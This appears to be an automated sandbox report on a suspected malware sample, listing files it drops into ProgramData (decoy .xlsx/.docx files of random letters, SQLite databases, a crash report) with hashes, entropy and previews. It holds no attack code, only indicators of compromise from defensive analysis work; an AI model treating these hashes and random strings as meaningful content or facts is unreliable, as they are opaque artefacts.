KTDXUHZPMIYCRABYQLAAVOSTLMEJGFHJSMBRQBEICTCXKKZHNUWSZMQZHAMPRHAWDVATODUFFRHCHJYGQZNMBWVRFZTJLSUUUMCUEOZEUMCJAOLHOIJTNPLJBASLIHCUCMVTUNIOK

C:\ProgramData\BQJUWOYRTO.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.68639364218091
Encrypted:	false
SSDEEP:	24:P4r5D4QctcBd3LMDzR8JwOlGpXSmDbvy5z5hu/KBdAmHtTQ:P49StmdbMfR8ApSmnvyXhuCBd3ts
MD5:	1D78D2A3ECD9D04123657778C8317C4E
SHA1:	3FAA27B9C738170AEE603EFAE9E455CA459EC1B7
SHA-256:	88D5FF8529480476CA72191A785B1CCDB8A5535594C125AF253823DD2DC0820E
SHA-512:	7EA58B30CB5FDA1C4D71DC65DF64FD9703E81DDCBAD9DA5B405CBBEACB9197A6E8B933C844289D7852801B6A5BC545C4234DD69E85F0AF640F5BC51BE5DDA12E
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	BQJUWOYRTOLXZEKCXDLSWRNMFMCSYXRPFWPCFOMLTXRLOYSWDYNKGJBBEKHPTUBSJDZWIUKDQVTQQAEIJPJKOPTWULSKKXLSOLVYRREVXVSZLFQQBXKKCMYLLBRWPJMBHNBFTQUBUPFYXLIARNGQLIDNRZYVXHIWZXDZUYNJJXBTDFJWBKWCQQGPRFDTAZULKSSEFZTUDJOKODZLAIWAICBXNPXUMZFRUVBQDJIENEPBRWTDBODAVKDNOLRNYNBKKQBPGBUTIJCMZXSCKDRZIHJDDUPOXQOJQXAOMBHVIUUZBSRKPYCRBAHBBGKXGMODRWMTAMVEFAPKYMHWCUCKKJSLQYPIMPYZKZKPIXSZAPTLQLZGQHTXZBXONOWDVDWQMPDILYOIVFKXBUSTSFUGKZZBFUUTDDOMVPOINIMBFTSGRRDLSLPUXATPQGHCHIJRAGXNYBQOTZSNMAZCEDHOUMBJWJSCXGDMRQCIYNBQTBGKDTCTKRJCRXWGYTZRFYVOFBTBDYLRCDVRFBCHFMPWSBHHWRRLBRKCLDQRSMCLVZAGFMWLPHYJGALXNLZXJVWWXBFHYIZDZFXDBTHZKRDQBGOXOULNHYYUXXATXCLPLWIUBSSSLNJBTSMXAWVUVUVKDAOHXCIVGHJLVIETMJMFWUZTFVNALCFBKNUVWGXUEPDHVHGOBZRVOPDFCORECRQJIXMUFIACDLBMTHCLLXOISHLMFTEBKUAICYBSNGCASKNQBLIPLSIPNJTWJLGARSXDGLOKVQSUASJSIRFNLKQTPVOVXSGKMXEEUVWMULGSMRQRMICWPXBVELHRSUIIUSGMSRWNPMSLNFKZWDRGGAVGKNPMSZMHRWAKTDXUHZPMIYCRABYQLAAVOSTLMEJGFHJSMBRQBEICTCXKKZHNUWSZMQZHAMPRHAWDVATODUFFRHCHJYGQZNMBWVRFZTJLSUUUMCUEOZEUMCJAOLHOIJTNPLJBASLIHCUCMVTUNIOK

C:\ProgramData\CFHDHIJDGCBAKFIEGHCB

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\ProgramData\ECGHCBGC

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\ProgramData\EFOYFBOLXA.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\ProgramData\EIVQSAOTAQ.docx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\ProgramData\FCAAAAFBKFIECAAKECGCAAKJEC

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBAKJDBKJJKFIDBGHCAEGHJE

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FGAWOVZUJP.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697476937124145
Encrypted:	false
SSDEEP:	24:ZHCq3JbSxIq6BFnj6ku15ZgD3mwworSHynqRkWcVy:ZJJBdjzutVwdrEynqRJcs
MD5:	B5DCEDFE74691665C5378C902E1B8783
SHA1:	1C015C1000EDCC8DD1D41E7A6164A1441BCAB71F
SHA-256:	BFECD17BD22F40F72127A4F28CC8347BEB2F2472D795E5D895FA58D6B95408D8
SHA-512:	DEA52E292EC1F0D73BC6ACE2DC5B03E635FC5196670127259950249458C92286C02381757CF5BE56D360143ABF746BFE86C67A457FE9F5FED38ACBBBFBB5C058
Malicious:	false
Preview:	FGAWOVZUJPPATBQBCAOSECFNMMWXFFRHTNXLMTZXOSUBNMNZEOSEMDJLPBYZGEPOGNWBKCOTZRTGUDWXFPEASJZZLPJOWHXSZQVUIUJBUYTTDXUEQLNHZUXAUICSVWRHLMSRSGQFYHYRCDBUWZTRUIBPPWVSMYQHOSYXAKFNZSTYPDUMFGRHSJOIABJMBNUZXMMXDRNTJYWFUTDFDFSDCBPOBTGVPULEAEIYVPDJOVTAEKQCIGDYMYVBWZZIRSHYWTBVKCHCOLGCNLMCBUTSIELOJKUUMMCZDHMWQNQNLXRUFYXSFAOXPFTCOSFCUWRGZXPLGZHQAMLUZYGKXSSGNXKZMQWRXRFBGEZMVDXSRYYDYPORROJGMIYSCFXTAAWWWNLVAXKAJUUMUAWQYLCXUUIKKYPCYHXPWDZHUIGECKGVMMJAQEHPNQIZEFHEPPYZPRUOWVQXECLRCFOCSQWBRIRYDRDMZHVKITRLGBFZGTUUNMZCHIJCFWLJUZSUNWWPGERMDNVCVSDOMULGXMPRCUDOSJRMMZEXFUKRZUMZLFHELPWZFZXMXOXWWLAMDCZPGWQEGRZTHRSTHXOYYZRFSXRIVARPEJIEGIUIDAFUBPQZCRTXBVJXOUVEGEVTQYQDNNKPHXVIJLAVYPEQZEKXESZQYRISHBWFUCXRDHKRZLFLEXQPRCFTNMMHTEQGKKVBCJAAYTZEDWCNHBNEYWQHUXQPNRXLKHICNGERBIZIELZFWMSBPLYLUWVCILSRSYSXVVAEEVHXDEEVJJQFHUIVDCQWDIMKIBLIQLDLKHIDGEYLUEOOHUSRQLIVZOLOJYWYGORFEFHDXTVUODOTBLKQVTOLSVNVECTSBGCPTOPYKZPHFUAZRLBKILWDHPUBQHFWDBJKXZWIAFTFVIZWSSQVGQBOQXBCLOMSKQAOSVJFENDQHDBKSPWYDHIJFWMCFBRJKZDVFYEFTKUVDGNFGUGWBZBODVWZTFPQEFHTEWBN

C:\ProgramData\GHDBKFHIJKJKECAAAECAECFBFI

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GNJEVOXLLS.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687963302403681
Encrypted:	false
SSDEEP:	24:/sfWICSY6UKljZY63a1iNHutt7qkSCLQ4aejn1iVeE7OlinjoZq0:E+FSFUx63a1iFwtekvU4aeoVeMKT
MD5:	AF29E88EA135534C3762209AAFE5CAF0
SHA1:	565E9E9C980C43676595017D262F2C37B592E8E2
SHA-256:	43465FD957FAC76B05148F7DA1DBC391BE456543357D11FA02424D9D7FEEDDB7
SHA-512:	7F44937A5DC65EF787B8CB713AB8F510A0507B360DE04EAA443267841CC3EAACAD28DFDB0CEE34EF89C713F28824345289FB3312D0DD5859092947F9D1C5A51F
Malicious:	false
Preview:	GNJEVOXLLSEXYIHVTDZKYZPIMLBUEGYJRWAUQXCTBDKGTKOYANHQONXMSMYSKDTVSDIHHNSXCIHFEFQHWUMGUOHAYTLSHRVUEXBEHZJBPPXEYMBTRVDSGAVNYCFVQXFHRYCYTORCIVCEPTPZDJGMHRJSWFXPXNUFAYCVJKZIKRKUZVXZSBVFNZECKDCSYKHSUTGRNBBATRLXHQCNNDQRCSNIEJUBNSSJHGWLFNYJPGJFTGCTUCWHKIUPNDGRSEMNRKMQDOISUJKHTXSEQTUTWYVQOGMXGSKQPGSZXHCPAGUCGCWPOCAPPBXYHEZKRDZAPENNWPNPXFUSFSUNPIQSHTSCZBYRRRREHQFYSOJGUDHLGZWTNRIGTPMAWTVWRRYWASGUVGMUREZIXPHZMOHLVBKZIYHUKNOXDPVWCCPRCLFSFYJNHJZHSEYRIOTMRCFRLXRDNMTHRQSNJYBHGHUUOWDJMTDLFGXOGORBEQSDACTRAYXEJOAILRAVVEOWOGWXCKWPXUNQDTBEPUQMSRKHUGEMNPBUXZGHXOVZTPOJBPDTUZUTVAKEBHPJVJZSMRJOAJYUJCLOAKBHKBMMLOHDQRNOTTTIWJFAIHWRKYEKJMZGKGFAQNXACEDKGIDQMXBISYHBJWZMEVSOTMGUZYGXUPHXFMGCAJIROBBAZEVKTCGQWVHQPZNQBICXBHQAXODXREMFROTBGLWEPRPFSGCFRKFZVEVASCCBOJJWPXXHZUSYNRAVPRKCYJVQZENOOPANYTVFOGDRLWGTNVNICVPJKYVYWQKYYVDSEGKWEZWBOPOSVJIHFBGCNENUOIKPJMOSYGVXNWPECJRETYTDUFMZATPRFHYFCHPGSXBBQPXFMJXJROPGKYPYUACBDGUHIHILMEGFMDORHMQWPADLVRAUIMSUNTJHHPYSVEHBYURTUVKAGPSSIZIYQZIKCNKJGQBJJWEUMYGUEESAASZIQCQCGOOCGRHSNDTIFJNWLEAV

C:\ProgramData\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_zVp8cG4riO.exe_a824a48da1fde744cf016a5c8f6a1dde186d8fc_f708881b_5419a0ed-648f-4f3d-bc2b-46268c99bec6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0564382063719668
Encrypted:	false
